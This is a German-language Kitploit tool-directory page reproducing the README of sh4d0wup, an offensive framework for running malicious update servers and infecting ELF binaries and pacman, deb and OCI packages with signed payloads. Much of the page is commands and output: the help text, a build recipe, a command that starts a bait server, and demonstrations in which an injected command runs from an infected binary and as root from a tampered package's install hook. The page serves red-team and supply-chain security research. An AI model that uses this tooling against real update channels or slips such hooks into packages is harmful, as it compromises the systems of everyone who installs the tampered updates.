Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
sh4d0wup — Framework für den Missbrauch von Signaturschlüsseln und die Ausnutzung von Updates | Kitploit
Tools/GitHubGitHub/kpcyrd/sh4d0wup
ExploitationPenetrationstestsCommand and ControlLieferkettensicherheitRed TeamingPayload-Entwicklung
GitHubkpcyrd/sh4d0wup

sh4d0wup

Framework für den Missbrauch von Signaturschlüsseln und die Ausnutzung von Updates

Repository anzeigen
1311320vor 1 MonatVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

sh4d0wup

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

👻 Was sind Schatten-Updates?

Hast du dich jemals gefragt, ob das von dir heruntergeladene Update dasselbe ist, das alle anderen bekommen, oder hast du ein anderes erhalten, das speziell für dich erstellt wurde? Schatten-Updates sind Updates, die offiziell nicht existieren, aber gültige Signaturen tragen und von Clients als echt akzeptiert würden. Dies kann passieren, wenn der Signaturschlüssel von Hackern kompromittiert wurde oder wenn ein Release-Ingenieur mit legitimen Zugriff unlauter handelt.

sh4d0wup ist ein bösartiger http/https-Update-Server, der als Reverse-Proxy vor einem legitimen Server fungiert und verschiedene Artefaktformate infizieren und signieren kann. Angriffe werden in Plots konfiguriert, die beschreiben, wie das HTTP-Request-Routing funktioniert, wie Artefakte gepatcht/generiert werden, wie sie signiert werden sollen und mit welchem Schlüssel. Eine Route kann Selektoren haben, sodass sie nur zutrifft, wenn z. B. der User-Agent einem Muster entspricht oder der Client von einer bestimmten IP-Adresse aus verbindet. Für Entwicklung und Tests können Mock-Signaturschlüssel/-zertifikate generiert und als vertrauenswürdig markiert werden.

🏗️ Erstellen des sh4d0wup-Executables

Es gibt ein vorgebautes Binary im Arch Linux [extra] Repository. Um das Binary unter einem Debian-basierten System aus dem Quellcode zu bauen, verwende dies (getestet mit Ubuntu 22.04):

apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 Kompilieren eines Plots

Manche Plots sind aufwändiger vorzubereiten als andere. Um lange Startzeiten aufgrund von Downloads und Artefakt-Patching zu vermeiden, kannst du einen Plot im Voraus bauen. Dies ermöglicht auch die vorherige Erstellung von Signaturen.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 Ausführen eines Plots

Dies startet einen bösartigen http-Update-Server gemäß dem Plot. Dies akzeptiert auch YAML-Dateien, kann aber länger zum Starten benötigen.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

Beispiele findest du hier:

  • contrib/plot-archlinux.yaml
  • contrib/plot-debian.yaml
  • contrib/plot-rustup.yaml
  • contrib/plot-curl-sh.yaml

🪄 Infizieren eines Artefakts

  • sh4d0wup infect elf
  • sh4d0wup infect pacman
  • sh4d0wup infect deb
  • sh4d0wup infect oci

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

Tool herunterladen